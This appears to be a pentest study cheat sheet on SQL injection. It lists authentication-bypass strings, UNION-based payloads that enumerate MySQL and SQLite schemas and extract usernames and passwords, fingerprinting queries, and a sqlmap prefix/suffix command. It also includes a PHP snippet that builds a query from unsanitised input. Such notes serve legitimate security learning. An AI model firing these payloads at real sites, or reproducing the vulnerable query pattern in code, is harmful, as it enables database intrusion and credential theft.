Sql Injection

Types of SQL Injection

See SQLMAP - Injection Types

Examples

Common SQL Injections

Blind Boolean

105 OR 1=1

' OR '1

' OR 1=1

" OR 1=1

'OR 1=1-- 

'OR 1=1;--

SELECT * FROM logins
WHERE username='tom'
AND password = ''OR 1=1;--';

"OR 1=1--

admin' AND 1;--

admin' or '1'='1

admin' OR '1'='1'-- -

SELECT * FROM logins
WHERE username='tom'
AND password = 'admin' OR '1'='1'-- -';

1'or'1'='1

SELECT * FROM logins
WHERE username='tom'
AND password = '1'or'1'='1';

admin');--

Union Clause

A UNION statement can only operate on SELECT statements with an equal number of columns.

ERROR 1222 (21000): The used SELECT statements have a different number of columns

Solution

SELECT * from products where product_id = '1' UNION SELECT username, password from passwords-- '

or,

SELECT * from products where product_id = '1' UNION SELECT username, 2 from passwords

UNION SELECT username, 2, 3, 4 from passwords-- '

Database Specific Injections

Data/Base/embedded/sqlite

123' UNION SELECT name, sql, null from sqlite_master;--

MySQL

Getting number of columns

1' ORDER BY 5 #

SELECT @@version
Payload When to Use Expected Output Wrong Output
SELECT @@version When we have full query output MySQL Version 'i.e. 10.3.22-MariaDB-1ubuntu1' In MSSQL it returns MSSQL version. Error with other DBMS.
SELECT POW(1,1) When we only have numeric output 1 Error with other DBMS
SELECT SLEEP(5) Blind/No Output Delays page response for 5 seconds and returns 0. Will not delay response with other DBMS

Getting user information

'OR 1=1 UNION SELECT 1, user(), 3, 4;--

Getting current database name

'OR 1=1 UNION SELECT 1, database(), 3, 4;--

Getting all the databases

' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -

Get tables and schemata (database=dev)

cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -

Get columns

cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -

Get Data

cn' UNION select 1, username, password, 4 from dev.credentials-- -

There is an extra dash (-) at the end, it is to show that there is a space after (--).

Prefix/Suffix

sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"

This will result in an enclosure of all vector values between the static prefix %')) and the suffix -- -.
For example, if the vulnerable code at the target is:

Code: php

$query = "SELECT id,name,surname FROM users WHERE id LIKE (('" . $_GET["q"] . "')) LIMIT 0,1";
$result = mysqli_query($link, $query);

The vector UNION ALL SELECT 1,2,VERSION(), bounded with the prefix %')) and the suffix -- -, will result in the following (valid) SQL statement at the target:

Code: sql

SELECT id,name,surname FROM users WHERE id LIKE (('test%')) UNION ALL SELECT 1,2,VERSION()-- -')) LIMIT 0,1

Tools

GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and Pentest/CTF

Database Specific

MySQL

Tools

Comments in sqli

Note: In SQL, using two dashes only is not enough to start a comment. So, there has to be an empty space after them, so the comment starts with (-- ), with a space at the end. This is sometimes URL encoded as (--+), as spaces in URLs are encoded as (+). To make it clear, we will add another (-) at the end (-- -), to show the use of a space character.

Enter your search text in the box above

Select a result to preview